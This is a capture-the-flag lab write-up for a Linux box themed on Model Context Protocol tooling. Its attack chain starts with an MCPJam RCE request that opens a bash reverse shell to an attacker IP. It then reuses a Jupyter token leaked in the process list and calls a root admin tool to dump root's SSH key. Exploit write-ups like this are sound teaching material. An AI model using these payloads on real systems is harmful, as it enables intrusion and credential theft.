---Skip to content

DevHub

DevHub
DevHub has been Pwned
d10m3d3s pwned this machine
#479
MACHINE RANK
30 May 2026
PWN DATE
845
XP EARNED

DevHub is a Linux box themed around the Model Context Protocol tooling. An exposed MCPJam inspector lets us spawn an arbitrary MCP “server” command — instant RCE as mcp-dev. From there, a co‑tenant analyst runs Jupyter Lab bound to localhost with its token printed in the process list, giving us a shell as analyst. Finally, a root‑owned opsmcp service exposes an admin tool that will happily dump root’s SSH private key.

nmap -sVC 10.129.5.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH and nginx are exposed externally; the interesting services turn out to be internal.

Terminal window
echo '10.129.5.55 devhub.htb' | sudo tee -a /etc/hosts

The app surface points at MCP tooling:

  • MCPJam (MCP Inspector) on port 6274
  • A Jupyter dashboard on localhost:8888 (per its title page)
  • Something on localhost:5000 — later identified as an opsmcp server

MCPJam reports version 1.4.2, which is vulnerable to CVE-2026-23744 — unauthenticated remote code execution.

MCPJam’s /api/mcp/connect endpoint lets a client define the command used to launch an MCP server, and the app spawns it directly. Point that command at a reverse shell:

CVE-2026-23744 — MCPJam RCE
curl --path-as-is -s -k -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.64/4444 0>&1"],"env":{}},"serverId":"shell"}' \
'http://devhub.htb:6274/api/mcp/connect'

This lands a shell as mcp-dev. /etc/passwd shows a second interactive user we need to reach:

/etc/passwd (excerpt)
mcp-dev:x:1001:1001::/home/mcp-dev:/bin/bash
analyst:x:1002:1002::/home/analyst:/bin/bash

Loopback‑only services confirm what’s really running:

ss -ltnp
Proto Local Address State PID/Program name
tcp 0.0.0.0:22 LISTEN -
tcp 0.0.0.0:80 LISTEN -
tcp 0.0.0.0:6274 LISTEN 1282/node
tcp 127.0.0.1:8888 LISTEN -
tcp 127.0.0.1:5000 LISTEN -
Port Bind Service
6274 0.0.0.0 MCPJam inspector (node)
8888 127.0.0.1 Jupyter Lab (TornadoServer)
5000 127.0.0.1 opsmcp server (server.py)

Port 8888 speaks Tornado and redirects to /lab — Jupyter Lab:

curl -v localhost:8888
< HTTP/1.1 302 Found
< Server: TornadoServer/6.5.4
< Location: /lab?

The process list leaks the Jupyter token and reveals that opsmcp runs as root:

ps aux | grep -E 'jupyter|opsmcp'
analyst 1045 ... jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser \
--notebook-dir=/home/analyst/notebooks \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 ...
root 1051 ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

Forward 8888 to your machine (or curl it directly from the mcp-dev shell) and authenticate with the leaked token. Jupyter Lab’s built‑in Terminal then drops a shell as analyst — no kernel gymnastics needed.

If you’d rather stay on the command line, the kernel API accepts the same token:

Jupyter kernel API (alternative)
curl -s -X POST "http://localhost:8888/api/kernels" \
-H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json"
# {"id": "0d47c94b-...", "name": "python3", "execution_state": "starting"}

That’s the user foothold as analyst.

Privilege Escalation — opsmcp admin dump

Section titled “Privilege Escalation — opsmcp admin dump”

The root‑owned opsmcp server on 127.0.0.1:5000 exposes a tools/call API. Its source (/opt/opsmcp/server.py) reveals the admin key and a privileged ops._admin_dump tool that can read sensitive files — including SSH keys — as root:

opsmcp — dump root SSH key
curl -s -X POST "http://localhost:5000/tools/call" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

This returns root’s id_rsa. Save it and log in:

Terminal window
chmod 600 root_id_rsa
ssh -i root_id_rsa root@devhub.htb
  • “Connect to an MCP server” is arbitrary command execution. MCPJam spawns a client‑supplied command, so an exposed inspector is a straight RCE.
  • Secrets on the command line aren’t secret. The Jupyter token in ps aux was the entire lateral‑movement step.
  • Privileged “admin” tools need real authz. A single static API key guarding a root‑level “dump anything” action collapses the whole box.